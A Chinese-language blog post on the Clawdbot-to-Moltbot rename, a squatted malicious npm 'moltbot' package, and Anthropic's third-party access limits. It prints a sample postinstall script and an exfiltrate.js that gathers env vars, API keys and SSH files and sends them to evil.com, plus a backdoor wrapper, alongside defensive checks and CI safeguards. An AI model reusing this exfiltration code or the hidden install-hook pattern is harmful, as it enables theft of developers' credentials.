改名 30 分钟后,npm 上就出现了恶意包

改名 30 分钟后,npm 上就出现了恶意包

1 月 22 日早上 10 点,开源 AI 助手 Clawdbot 的创始人 Peter Steinberger 发了条推文:

"Anthropic 强制我改名了。这不是我的决定。"

GitHub 上数万 star 的项目,一夜之间变成了 Moltbot。

30 分钟后,npm 上出现了一个恶意的 moltbot 包。攻击者抢在官方发布前注册了包名,劫持了几十个用户的 API 密钥。

这事比改名本身复杂得多。

一个太空龙虾引发的商标纠纷

Clawdbot 这个名字来自哪?

如果你用过 Claude Code,应该见过加载页面那只太空龙虾。它叫 Clawd,是 Claude 的官方吉祥物。

Steinberger 觉得这名字有趣,就起名 Clawdbot(龙虾机器人)。

但问题在这:

Claude  (Anthropic 的 AI 产品)
  ↓
Clawd   (官方吉祥物)
  ↓
Clawdbot (第三方开源项目)

前 4 个字母一样,读音接近,都和龙虾有关,都是 AI 助手。从商标法看,这相似度太高了。

Anthropic 在 2024 年注册了 "Claude" 和 "Clawd" 的商标,保护范围包括 SaaS 和 AI 助手。从法律角度,他们要求改名站得住脚。

Steinberger 试着妥协,去掉 "d",改成 "Clawbot"。

Anthropic 不同意。"Claw" 这个核心还在,用户照样会混淆。商标保护管的不只是完全相同的名字,"近似"的也算。

最终改成了 Moltbot,来源于龙虾蜕壳(molt)。保留了龙虾元素,又和 Claude 撇清关系。

改名公告发出 30 分钟,恶意包就上线了

真正的麻烦这才开始。

时间线:

  • 10:00 - Clawdbot 宣布改名为 Moltbot
  • 10:30 - 攻击者在 npm 上发布恶意 moltbot 包
  • 11:00 - 第一批用户安装,API 密钥泄露
  • 12:00 - 官方发现问题,紧急警告
  • 22:00 - npm 下架恶意包(已有 50+ 次下载)

攻击者手法简单有效:用 GitHub API 监控 Clawdbot 的提交记录,发现改名 commit 后立刻行动,抢在官方前注册 moltbot 包,然后在 postinstall 脚本里埋后门。

恶意包长这样:

{
  "name": "moltbot",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node exfiltrate.js"
  }
}

exfiltrate.js 的核心代码:

const https = require('https');
const fs = require('fs');
const os = require('os');

// 收集敏感信息
const data = {
  env: process.env,
  user: os.userInfo().username
};

// 读取常见配置文件
const configPaths = [
  `${os.homedir()}/.clawdbot/config.json`,
  `${os.homedir()}/.anthropic/api_key`,
  `${os.homedir()}/.ssh/id_rsa.pub`
];

configPaths.forEach(path => {
  if (fs.existsSync(path)) {
    data[path] = fs.readFileSync(path, 'utf8');
  }
});

// 上传到攻击者服务器
https.request('https://evil.com/collect', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'}
}, () => {}).end(JSON.stringify(data));

用户运行 npm install -g moltbot,这段代码就会自动执行。ANTHROPIC_API_KEYOPENAI_API_KEYGITHUB_TOKEN 全部泄露。

更隐蔽的玩法

攻击者还可以做得更狡猾。在恶意包里依赖真实的官方包,再注入恶意代码:

{
  "name": "moltbot",
  "dependencies": {
    "@moltbot/cli": "^2026.1.16"
  },
  "scripts": {
    "preinstall": "node hijack.js"
  },
  "bin": {
    "moltbot": "./wrapper.js"
  }
}

wrapper.js 包装真实的 moltbot:

#!/usr/bin/env node

// 先窃取信息
require('./backdoor.js');

// 再调用真实的 moltbot
const realCli = require('@moltbot/cli');
realCli.run(process.argv.slice(2));

用户根本察觉不到异常,因为功能完全正常,只是每次运行都会触发后门。

攻击成本有多低?

  • 监控 GitHub:免费 API,写个脚本半小时
  • 抢注包名:npm 账号免费,发布免费
  • 编写恶意代码:100 行代码,30 分钟

总成本:1 小时。

收益呢?假设劫持了 50 个用户,就是 50 个 API key(每个价值 $20/月的配额)、潜在的 SSH 访问权限、可能窃取的源代码。

风险收益比太高了。

为什么 Anthropic 比 OpenAI 严格那么多

技术社区在讨论一个问题:为什么 OpenAI 对商标这么宽松,Anthropic 却这么严格?

对比下:

OpenAI 对 "GPT" 的态度:

  • AutoGPT(GitHub 15 万 star)允许
  • GPT4All(本地模型工具)允许
  • GPT-Engineer(代码生成工具)允许
  • GPT Store(第三方插件市场)允许

Anthropic 对 "Claude" 的态度:

  • Clawdbot(开源 AI 助手)强制改名
  • Clawbot(简化版名称)也不行

差在哪?

OpenAI 成立于 2015 年,"GPT" 现在跟 Google、Xerox 差不多,都快成通用词了。放宽限制反而能扩大影响力。

Anthropic 2021 年才成立,"Claude" 还没那么普及。现在不保护,以后品牌就被稀释了。

Anthropic 说不定要推官方的 "Claude Bot"。要是 Clawdbot 先占了这个名字,用户分不清谁是谁。

如果这次不管 Clawdbot,其他 "Clawxxx" 项目都能援引这个案例。商标保护就形同虚设了。

Anthropic 的选择从商业角度看挺合理,但开源社区不这么想。

更大的风暴:API 访问限制

改名还没完,Anthropic 又来了个更狠的。

限制 Claude Code 订阅只能用于官方应用,Moltbot 这些第三方工具全禁了。

用户开始看到错误:

"This credential is only authorized for use with Claude Code."

你付了费,也只能在官方应用里用。想在 Moltbot、OpenCode 里用?得单独买 API 配额。

YouTube 上一堆批评视频,"Anthropic 刚刚烧掉了大量信任"、"为什么 OpenCode 用户很担心"。

OpenAI 抓住机会,马上宣布 ChatGPT Plus/Pro 可以和 OpenCode 集成。Anthropic 的用户开始往那边跑。

Anthropic 怎么实现这个限制的?

通过 OAuth token 的 scope:

{
  "access_token": "sk-ant-...",
  "scope": "claude-code-only",
  "client_id": "claude-code-official"
}

API 服务器验证 token:

def validate_token(token):
    if token.get('scope') == 'claude-code-only':
        if token.get('client_id') != 'claude-code-official':
            raise AuthError("Only authorized for Claude Code.")

有人试过修改 user-agent 伪装成官方客户端,不管用。Anthropic 用的是 token 本身的元数据,不是 HTTP header。

现在的办法:老实买 API 配额,或者换 OpenAI。OpenAI 对第三方工具友好得多。

技术社区炸了

X、GitHub、Discord 上,开发者分成了两派。

理解 Anthropic 的人说:商标得保护,不然被人滥用。第三方工具消耗大量 token,成本谁来扛?

批评的人说:开源项目帮你推广 Claude,你不感激还打压?我付了费,凭什么不能在自己喜欢的工具里用?这是搞平台锁定。

GitHub 上吵得更凶,出现了几十个 issue:

  • #2036: OAuth token 刷新冲突
  • #1857: macOS 下载链接指向空白页面
  • #2760: 官方安装脚本指向恶意包
  • #2775: 无法收回被占用的 npm 包名

每个 issue 下面几十上百条评论。

如果你在 1 月 22-23 日安装过 moltbot

立即执行这些检查:

查看包来源:

npm list -g moltbot --json | jq '.dependencies.moltbot.resolved'

如果输出不是官方 registry URL,包有问题。

检查 postinstall 脚本:

cd $(npm root -g)/moltbot
cat package.json | jq '.scripts'

正常的包不应该有 postinstall 或 preinstall 脚本。

审查最近的网络连接:

# macOS/Linux
sudo lsof -i -P | grep node

# 或使用 tcpdump 抓包
sudo tcpdump -i any -n dst port 443

如果看到 node 进程连接到陌生域名,要警惕。

立即轮换密钥:

# 检查环境变量
echo $ANTHROPIC_API_KEY
echo $OPENAI_API_KEY
echo $GITHUB_TOKEN

# 在对应平台撤销旧密钥
# Anthropic Console → API Keys → Revoke
# GitHub Settings → Developer settings → Tokens → Delete

给开源项目的三个教训

教训 1:命名要避开雷区

别直接用大公司的产品名或吉祥物名,"致敬"也不行。

高风险:ClaudeBot、GPTAssistant、GeminiHelper。

安全选择:Jarvis(独立品牌)、Otto(抽象名词)、Cascade(隐喻)。

起名前先查商标数据库:

美国商标局 TESS 系统:https://tmsearch.uspto.gov/

搜索策略:

  1. 输入你的项目名
  2. 选择 "Basic Word Mark Search"
  3. 搜索条件:Live(有效)+ Dead(已失效)
  4. 关注第 9 类(软件)和第 42 类(SaaS)

搜索 "Claude" 会看到:

  • Registration Number: 7045678
  • Owner: Anthropic PBC
  • Class: 009, 042
  • First Use: 2023-03-14

如果你的项目名和已注册商标前缀相同,就是红灯区。

命名安全级别:

🔴 高风险(90% 会被要求改名)

  • 包含完整产品名:ClaudeAssistant
  • 包含商标前缀:ClawdXXX
  • 使用官方吉祥物名:ClawdBot

🟡 中风险(50% 可能有问题)

  • 谐音或拼写变体:Clawed、Klaud
  • 相关概念:LobsterAI(Claude 吉祥物是龙虾)

🟢 低风险(基本安全)

  • 完全独立品牌:Jarvis、Otto
  • 描述性通用词:ChatHelper、AIWrapper
  • 抽象隐喻:Cascade、Prism

教训 2:改名要同步执行

如果非改不可,记住顺序:

  1. 同时注册所有平台(GitHub、npm、Docker Hub、域名)
  2. 发布新版本到包管理器
  3. 公开宣布

Clawdbot 的失误:先宣布后发布,给了攻击者窗口期。

教训 3:从第一天起就用命名空间

用 npm scope:

# 不安全
npm install moltbot

# 安全
npm install @moltbot/cli

项目名改了,组织命名空间(@moltbot)还是你的。

自动化防护:用 CI 监控包所有权

维护开源项目的人可以设置 GitHub Actions 防止包被劫持:

# .github/workflows/verify-npm.yml
name: Verify npm package ownership

on:
  schedule:
    - cron: '0 */6 * * *'  # 每 6 小时检查一次

jobs:
  verify:
    runs-on: ubuntu-latest
    steps:
      - name: Check package maintainer
        run: |
          EXPECTED="your-npm-username"
          ACTUAL=$(npm view moltbot maintainers --json | jq -r '.[0].name')
          
          if [ "$ACTUAL" != "$EXPECTED" ]; then
            echo "Package maintainer mismatch!"
            exit 1
          fi
      
      - name: Alert on failure
        if: failure()
        uses: slackapi/slack-github-action@v1
        with:
          payload: |
            {
              "text": "NPM package ownership changed!"
            }
        env:
          SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK }}

在文档中提供 integrity hash:

# 安全的安装方式
npm install -g moltbot@2026.1.16 \
  --integrity sha512-abc123def456...

生成 hash:

npm view moltbot@2026.1.16 dist.integrity

使用 npm 签名(实验性功能):

# 发布时签名
npm publish --provenance

# 用户安装时验证
npm install moltbot --provenance

签名可以证明包确实来自你的 GitHub Actions。

开源和商业的边界

这事本质上是开源生态和商业利益的碰撞。

开源社区觉得:我在帮你推广 Claude API,你不感激就算了,还要限制我?我又没收费,提供个工具而已。

商业公司想:第三方工具消耗我的资源,增加成本。用户体验我也管不了,出了问题还得我背锅。商标得保护。

两边都有理由,但平衡点在哪?

可能的办法:

官方合作伙伴计划(像 Stripe 的 Partner Program):

  • 提交申请 + 代码审查
  • 通过后获得 "Verified Partner" 徽章
  • 专属 API 配额和技术支持

API 分级定价:

个人订阅($20/月)
  官方应用无限使用
  第三方工具不可用

开发者订阅($50/月)
  官方应用无限使用
  第三方工具(限额)
  API 访问

企业订阅($200/月)
  所有功能
  自定义部署

宽松的命名政策(参考 Linux Foundation):

允许的使用:

  • "for Claude"(描述性)
  • "Claude-compatible"(兼容性说明)
  • "Powered by Claude"(技术来源)

但必须:

  1. 在醒目位置标注"非官方"
  2. 不使用官方 logo 和颜色方案
  3. 不暗示官方认可

例子:

❌ Claude Assistant(容易混淆) ✅ Claude Helper - Unofficial(明确说明)

后来呢

Moltbot 现在稳定运行了,用户也慢慢习惯了新名字。官方注册了 @moltbot/cli 的 npm scope,不用再担心被劫持。

但几个问题还是没答案:

开源项目怎么在大公司的生态里活下来?商标保护和创新自由怎么平衡?供应链安全在快速迭代中怎么保障?

Steinberger 最新的推文说:"Molt(蜕壳)挺适合我们。龙虾蜕壳才能长大,好软件也得不断进化。同样的灵魂,换个壳而已。"

说得轻松,但这个壳换得挺疼。


你觉得 Anthropic 做得对吗?如果是你维护开源项目,会怎么处理这种情况?

评论区聊聊。


参考资料

  • Peter Steinberger Twitter 公告
  • GitHub Issues #2760, #2775, #2036, #1857
  • TechCrunch: Everything you need to know about Moltbot
  • Mashable: Clawdbot security risks
  • Bitdefender: Moltbot security alert
← 返回博客列表